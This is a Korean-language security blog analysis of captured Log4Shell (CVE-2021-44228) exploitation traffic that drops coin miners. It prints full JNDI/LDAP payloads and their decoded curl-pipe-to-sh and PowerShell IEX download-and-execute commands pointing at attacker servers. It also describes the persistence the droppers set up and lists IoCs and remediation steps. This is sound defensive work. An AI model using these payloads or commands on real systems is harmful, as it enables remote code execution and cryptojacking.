CVE-2021-44228
Apache Log4j2 버전 2.14.1 이하(보안 릴리스 2.3.1, 2.12.2 및 2.12.3 제외)에서 구성, 로그 메시지 및 매개변수에 사용된 JNDI를 이용한 취약점
로그 메시지 또는 로그 메시지 매개변수를 제어할 수 있는 공격자는 메시지 조회 대체가 활성화된 경우 LDAP 서버에서 로드된 임의의 코드를 실행할 수 있습니다.
- JNDI (Java Naming and Directory Interface)
- Java로 작성된 애플리케이션을 DNS, LDAP, RMI, NDS 등과 같은 Naming/Directory 서비스에 연결하기 위한 API
- LDAP(Lightweight Directory Access Protocol)
- TCP/IP 위에서 디렉터리 서비스를 조회하고 수정하는 응용 프로토콜
영향 받는 버전 정보
- Log4j 1.x 버전
- 1.x 버전을 사용하는 애플리케이션은 Configuration에서 JNDI를 사용할 때만 이 공격에 취약
(별도의 CVE(CVE-2021-4104)가 존재) - JMSAppender가 없는 Log4j 1.x 구성은 이 취약점의 영향을 받지 않습니다.
- 1.x 버전을 사용하는 애플리케이션은 Configuration에서 JNDI를 사용할 때만 이 공격에 취약
- Log4j 2.14.1 이하(보안 릴리스 2.3.1, 2.12.2 및 2.12.3 제외)
탐지 트래픽 분석 (악성 패턴 2개 탐지)
이번 위협 트래픽 탐지는 두 가지 패턴이 탐지되었고
아래는 두 가지 패턴에 대한 분석 내용입니다.
탐지 트래픽 패턴 1
트래픽 원본
[TargetIP:Port]/?id=%24%7Bjndi%3Aldap%3A%2F%2F218[.]24[.]200[.]243%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FY3VybCAtZnNTTCBodHRwOi8vNjEuOTcuMTg4LjQyOjgwODAvbHIuc2ggfHNo%7D
- URL Decoding
[TargetIP:Port]/?id=${jndi:ldap://218[.]24[.]200[.]243:8066/TomcatBypass/Command/Base64/Y3VybCAtZnNTTCBodHRwOi8vNjEuOTcuMTg4LjQyOjgwODAvbHIuc2ggfHNo}
- Base64 Decoding
curl -fsSL http://61[.]97[.]188[.]42:8080/lr.sh |sh
- 최종 디코딩
디코딩 결과 jndi, ldap, 악성 ldap 서버 IP:포트, curl/../lr.sh 쉘스크립트 등 수상한 URL 임을 확인할 수 있습니다.
- 행위
- 218[.]24[.]200[.]243 쿼리 (악성 LDAP 서버) > curl을 통한 lr.sh 파일 다운로드 및 실행
- lr.sh 구동을 통한 추가 악성 파일들을 다운로드 및 실행
[TargetIP:Port]/id=${jndi:ldap://218[.]24[.]200[.]243:8066/TomcatBypass/Command/Base64/curl -fsSL http://61[.]97[.]188[.]42:8080/lr.sh |sh
f : HTTP 에러 시 자동으로 실패 (출력 X)
s : 진행 과정이나 에러 정보를 보여주지 않는다.(–silent)
S : s옵션과 같이 사용했을 때 실패에 대한 curl 에러 메세지를 보여줌
L : HTTP 301, 302, 303 응답을 받은 경우 redirection URL을 따라감
lr.sh 분석
디코딩 된 URL에서의 lr.sh 쉘 스크립트 분석
- 프로세스 강제 종료
lr.sh 쉘 스크립트
- crontab 스케줄링 등록 (매 5분마다 실행되도록)
- 61.97.188[.]42 통신, config.json, apache.sh, x.rar 파일 다운로드 및 백그라운드 실행
lr.sh 쉘 스크립트
x.rar 파일 (File tyep : ELF)
lr.sh 쉘 스크립트의 내용 중 x.rar 파일 분석
- 평판 - 코인 채굴 프로그램
코인 마이너 확인
x.rar 파일 - Virus Total 평판 조회
config.json 분석
lr.sh 쉘 스크립트의 내용 중 config.json 파일 분석
- 코인 Donate 설정
config.json - 코인 pool 및 user id
apache.sh 분석
lr.sh 쉘 스크립트의 내용 중 apache.sh 파일 분석
- 프로세스 체크 및 종료
- kthmimu 백그라운드 실행
탐지 트래픽 패턴 2
트래픽 원본
[TargetIP:Port]/?id=%24%7Bjndi%3Aldap%3A%2F%2F218[.]24[.]200[.]243%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FcG93ZXJzaGVsbCAtZW5jIFNRQkZBRmdBSUFBb0FFNEFaUUIzQUMwQVR3QmlBR29BWlFCakFIUUFJQUJUQUhrQWN3QjBBR1VBYlFBdUFFNEFaUUIwQUM0QVZ3QmxBR0lBWXdCc0FHa0FaUUJ1QUhRQUtRQXVBRVFBYndCM0FHNEFiQUJ2QUdFQVpBQlRBSFFBY2dCcEFHNEFad0FvQUNjQWFBQjBBSFFBY0FBNkFDOEFMd0EyQURFQUxnQTVBRGNBTGdBeEFEZ0FPQUF1QURRQU1nQTZBRGdBTUFBNEFEQUFMd0JzQUhJQUxnQndBSE1BTVFBbkFDa0E%3D%7D
- URL Decoding
[TargetIP:Port]/?id=${jndi:ldap://218[.]24[.]200[.]243:8066/TomcatBypass/Command/Base64/cG93ZXJzaGVsbCAtZW5jIFNRQkZBRmdBSUFBb0FFNEFaUUIzQUMwQVR3QmlBR29BWlFCakFIUUFJQUJUQUhrQWN3QjBBR1VBYlFBdUFFNEFaUUIwQUM0QVZ3QmxBR0lBWXdCc0FHa0FaUUJ1QUhRQUtRQXVBRVFBYndCM0FHNEFiQUJ2QUdFQVpBQlRBSFFBY2dCcEFHNEFad0FvQUNjQWFBQjBBSFFBY0FBNkFDOEFMd0EyQURFQUxnQTVBRGNBTGdBeEFEZ0FPQUF1QURRQU1nQTZBRGdBTUFBNEFEQUFMd0JzQUhJQUxnQndBSE1BTVFBbkFDa0E=}
- Base64 Decoding
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwA2ADEALgA5ADcALgAxADgAOAAuADQAMgA6ADgAMAA4ADAALwBsAHIALgBwAHMAMQAnACkA
IEX (New-Object System.Net.Webclient).DownloadString('http://61[.]97[.]188[.]42:8080/lr.ps1')
- 최종 디코딩
디코딩 결과 jndi, ldap, 악성 ldap 서버 IP:포트, 파워쉘 코드 등 수상한 URL 임을 확인할 수 있습니다.
- 행위
- 218.24.200[.]243 쿼리(악성 LDAP 서버) > lr.ps1 파일 다운로드 및 실행
[TargetIP:Port]/?id=${jndi:ldap://218[.]24[.]200[.]243:8066/TomcatBypass/Command/Base64/powershell -enc IEX (New-Object System.Net.Webclient).DownloadString('http://61[.]97[.]188[.]42:8080/lr.ps1')
- DownloadString()은 메모리 상으로 존재합니다.
- 실제 시스템에 떨어지는 파일 없이 메모리 상으로 다운로드 받아서 바로 실행할 수 있습니다.
lr.ps1 분석
디코딩 된 URL에서의 lr.ps1 파워쉘 스크립트 분석
- 윈도우 작업 스케줄러 등록
- 61[.]97[.]188[.]42 통신, config.json, x.exe 파일 다운로드 및 실행 설정 확인
config.json 파일은 '탐지 트래픽 1' 동일함
x.exe 분석
lr.ps1 파워쉘 스크립트의 내용 중 x.exe 파일
- 평판 - 코인 채굴 프로그램
코인 마이너 확인
x.exe - Virus Total 평판
결론
종합의견
- Apache Log4j 취약점 > 원격 코드를 실행 > 코인 채굴 프로그램 다운로드 및 실행
- Victim 시스템의 리소스를 사용하여 코인 채굴 및 채굴된 코인 전송을 하는 악성 행위입니다.
코인 마이너의 경우 채굴을 위한 시스템 리소스를 과점유하여 시스템이 운영중인 서비스에 큰 영향을 끼칩니다.
- Victim 시스템의 리소스를 사용하여 코인 채굴 및 채굴된 코인 전송을 하는 악성 행위입니다.
- 탐지 트래픽 1과 2는 코인 마이너 파일 형식은 ELF / EXE로 악성 스크립트는 쉘 스크립트 / 파워쉘 스크립트로 형식이 다릅니다.
즉, 공격자는 공격 대상의 OS가 Linux / Windows든 상관없이 공격할 수 있도록 두 가지 유형의 트래픽을 동시에 발생 시켰다는 것을 의미합니다.
만약 위의 내용과 비슷한 트래픽을 탐지하였고, 예전보다 시스템이 느려지거나 서비스가 비정상적으로 느껴질 경우
시스템에서 프로세스 별 사용량을 확인하여 이상 프로세스를 찾고, 이상 프로세스 종료 및 관련된 파일들을 찾아 모두 제거해야 합니다.
코인 마이너는 지속성 유지를 위해 스케줄링을 등록하기 때문에 crontab / 작업 스케줄러 에서 스케줄링도 함께 제거해야 합니다.
대응방안
- Log4j 2.x 버전 업그레이드
- 2.3.1(Java 6용), 2.12.3(Java 7용), 2.17.0(Java 8 이상) 업그레이드
- 2.16.0 이외의 버전은 JndiLookup클래스 경로에서 클래스를 제거할 수 있음
- zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class - JndiLookup을 제거하기만 하면 CVE-2021-44228에 노출된 두 가지 버그 중 하나만 해결
- Log4j 다른 취약점 리스트 정보 및 해결 방안
- IoC 정보
IP / URL / Hash
|
설 명
|
82[.]99[.]217[.]202
|
공격자 IP
|
67[.]205[.]149[.]12
|
공격자 IP
|
18[.]163[.]206[.]128
|
공격자 IP
|
218[.]24[.]200[.]243
|
악성 서버
|
61[.]97[.]188[.]42
|
악성 서버 ( 코인 채굴 관련 파일 서버)
|
https://pastebin[.]com/raw/cuRBc3hn
|
악성 서버
|
https://pastebin[.]com/raw/cuRBc3hn
|
악성 서버
|
http://61[.]97[.]188[.]42:8080/config[.]json
|
코인 채굴 설정 파일
|
http://61[.]97[.]188[.]42:8080/x[.]rar
|
코인 채굴 프로그램
|
http://61[.]97[.]188[.]42:8080/apache[.]sh
|
코인 채굴 설정 파일(지속성)
|
http://pool[.]supportxmr[.]com/
|
코인 pool
|
[TargetIP:Port]/?id=%24%7Bjndi%3Aldap%3A%2F%2F218.24.200.243%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FY3VybCAtZnNTTCBodHRwOi8vNjEuOTcuMTg4LjQyOjgwODAvbHIuc2ggfHNo%7D
|
악성 트래픽
URL 패턴 추출 및 차단
|
[TargetIP:Port]/?id=%24%7Bjndi%3Aldap%3A%2F%2F218.24.200.243%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FcG93ZXJzaGVsbCAtZW5jIFNRQkZBRmdBSUFBb0FFNEFaUUIzQUMwQVR3QmlBR29BWlFCakFIUUFJQUJUQUhrQWN3QjBBR1VBYlFBdUFFNEFaUUIwQUM0QVZ3QmxBR0lBWXdCc0FHa0FaUUJ1QUhRQUtRQXVBRVFBYndCM0FHNEFiQUJ2QUdFQVpBQlRBSFFBY2dCcEFHNEFad0FvQUNjQWFBQjBBSFFBY0FBNkFDOEFMd0EyQURFQUxnQTVBRGNBTGdBeEFEZ0FPQUF1QURRQU1nQTZBRGdBTUFBNEFEQUFMd0JzQUhJQUxnQndBSE1BTVFBbkFDa0E%3D%7D
|
악성 트래픽
URL 패턴 추출 및 차단
|
- MD5 : 33a8969da9cfb35b2a3aed88c2baf32b
- SHA-1 : 54805103e4f430a8b0366ca6fcda55c2d37660e5
- SHA-256 : 34bfddb2ca2b491f7599bc90e15398b56f6e41b13c341944197c37199b062725
|
코인 채굴 프로그램
x.rar 파일 Hash
|
- MD5 : 2a0d26b8b02bb2d17994d2a9a38d61db
- SHA-1 : 889a9cb0a044c1f675e63ea6ea065a8cf914e2ab
- SHA-256 : 3c54646213638e7bd8d0538c28e414824f5eaf31faf19a40eec608179b1074f1
|
코인 채굴 프로그램
x.exe 파일 Hash
|
'IT 보안' 카테고리의 다른 글
OAST(Out-of-Band Application Security Testing) 취약점 스캔 (0) | 2024.09.23 |
---|---|
F5 BIG-IP TMUI RCE 취약점 (CVE-2020-5902) 분석 자료 (0) | 2024.09.23 |
FBI FLASH CP-000169-TT CP-000165-TT (0) | 2024.09.23 |
Dasan GPON Home Routers Authentication Bypass (CVE-2018-10561, CVE-2018-10562) 분석 자료 (0) | 2024.09.23 |
VMware RCE 취약점(CVE-2021-21978, CVE-2021-21985) 분석 자료 (0) | 2024.09.23 |